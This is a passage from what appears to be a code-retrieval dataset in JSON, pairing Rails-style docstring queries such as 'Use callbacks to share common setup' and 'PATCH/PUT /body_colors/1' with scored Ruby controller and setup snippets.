"text": "def admin_view_description\n\t#@employee = ProjectDailyDescription.select(\"employee_id\",\"project_id\",\"emp_status_date\",\"emp_project_description\").where(\"employee_id = ? AND project_id = ? \",params[:employee_id],params[:project_id])\n\t@employee =ProjectDailyDescription.employee_project_daily_description(params[:project_id],params[:employee_id])\n\trender :layout=>ADMIN_LAYOUT\t\n\tend",
"title": ""
},
{
"docid": "072037156dddcdfc6b62f6d7df6fe7fa",
"score": "0.56529176",
"text": "def review_management\n\t\t# render layout: \"admin_layout\", template: \"admin/static/review_management\"\n\tend",
"title": ""
},
{
"docid": "c634004fb163845d0c25cb4d98307f62",
"score": "0.56418407",
"text": "def edit\n return unless has_permission :can_manage_aircraft\n @page_title = \"Edit Aircraft Maintenance Counter\"\n @maintenance_date = MaintenanceDate.find(params[:id])\n end",
"title": ""
},
{
"docid": "43baeb91073122a1ce37e37adb37d75c",
"score": "0.56399137",
"text": "def commissioner_dashboard\n\n end",
"title": ""
},
{
"docid": "6a0661444a29797f90e4f09de56f972b",
"score": "0.5638753",
"text": "def set_maintenance_detail\n @maintenance_detail = MaintenanceDetail.find(params[:id])\n end",
"title": ""
},
{
"docid": "144a72f82fda0cea4c33037ac52eff46",
"score": "0.563568",
"text": "def show\n @nav_status = 'db'\n end",
"title": ""
},
{
"docid": "144a72f82fda0cea4c33037ac52eff46",
"score": "0.563568",
"text": "def show\n @nav_status = 'db'\n end",
"title": ""
},
{
"docid": "144a72f82fda0cea4c33037ac52eff46",
"score": "0.563568",
"text": "def show\n @nav_status = 'db'\n end",
"title": ""
},
{
"docid": "144a72f82fda0cea4c33037ac52eff46",
"score": "0.563568",
"text": "def show\n @nav_status = 'db'\n end",
"title": ""
},
{
"docid": "144a72f82fda0cea4c33037ac52eff46",
"score": "0.563568",
"text": "def show\n @nav_status = 'db'\n end",
"title": ""
},
{
"docid": "144a72f82fda0cea4c33037ac52eff46",
"score": "0.563568",
"text": "def show\n @nav_status = 'db'\n end",
"title": ""
},
{
"docid": "1e4e0e26d129d245116abdc0ec19301b",
"score": "0.56300795",
"text": "def maintenance\n versioning = AppParameter.find_by_code( AppParameter::PARAM_VERSIONING_CODE )\n @presumed_downtime_end = Format.a_short_datetime( versioning.a_date )\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "b55bb0bcca931a39440a4c6a998be283",
"score": "0.0",
"text": "def set_order\n @order = Order.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
7a871e1c5c1b12aa04af7cdf934ed85c | PATCH/PUT /body_colors/1 PATCH/PUT /body_colors/1.json | [
{
"docid": "cf13a1fd7c421b3939d6713efeb64b4a",
"score": "0.7645686",
"text": "def update\n respond_to do |format|\n if @body_color.update(body_color_params)\n format.html { redirect_to @body_color, notice: 'Body color was successfully updated.' }\n format.json { render :show, status: :ok, location: @body_color }\n else\n format.html { render :edit }\n format.json { render json: @body_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "b3dd073938b8b5857cc5f4c138281107",
"score": "0.7241953",
"text": "def update\n respond_to do |format|\n require 'rest-client'\n response = RestClient.put('localhost:3001/colores/'+@color.id.to_s, color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n\n format.html { redirect_to @color, notice: \"Color was successfully updated.\" }\n format.json { render :show, status: :ok, location: @color }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77229d30fb8bf69d3ad381bdc5f271ad",
"score": "0.6675063",
"text": "def update\n respond_to do |format|\n if @five_color.update(five_color_params)\n format.html { redirect_to @five_color, notice: 'Five color was successfully updated.' }\n format.json { render :show, status: :ok, location: @five_color }\n else\n format.html { render :edit }\n format.json { render json: @five_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d3429fba308217b96e3f9ae18a315c0",
"score": "0.6674063",
"text": "def set_body_color\n @body_color = BodyColor.find(params[:id])\n end",
"title": ""
},
{
"docid": "eb235b822466eb1f63999822971f3e99",
"score": "0.6608113",
"text": "def update\n if @color.update(color_params)\n render json: @color, status: :ok#, location: @color\n else\n render json: @color.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "67e8613909e65d32556f3e2f7bb2000e",
"score": "0.6589893",
"text": "def update\n @body_style = BodyStyle.find(params[:id])\n\n respond_to do |format|\n if @body_style.update_attributes(params[:body_style])\n format.html { redirect_to @body_style, notice: 'Body style has been updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @body_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "df4c3f657eeed35129c5b4d373785619",
"score": "0.64963007",
"text": "def update\n respond_to do |format|\n if @item_color.update(item_color_params)\n format.html { redirect_to @item_color, notice: 'Item color was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f0e2adbfe5b9145fd4788dafcb728896",
"score": "0.6474231",
"text": "def update\n @color = Color.find(params[:id])\n\n respond_to do |format|\n if @color.update_attributes(params[:color])\n format.html { redirect_to @color, notice: 'Color has been updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "45b651d8748898290d630e7c7e80e402",
"score": "0.641887",
"text": "def update\n respond_to do |format|\n if @color_scheme.update(color_scheme_params)\n format.html { redirect_to [:admin, @color_scheme], notice: 'Color scheme was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @color_scheme.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "91cca0ce0467997d0837f40a5918087d",
"score": "0.64184284",
"text": "def update\n respond_to do |format|\n if @beercolour.update(beercolour_params)\n format.html { redirect_to beercolours_path, notice: 'Colour was successfully updated.' }\n format.json { render :show, status: :ok, location: @beercolour }\n else\n format.html { render :edit }\n format.json { render json: @beercolour.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
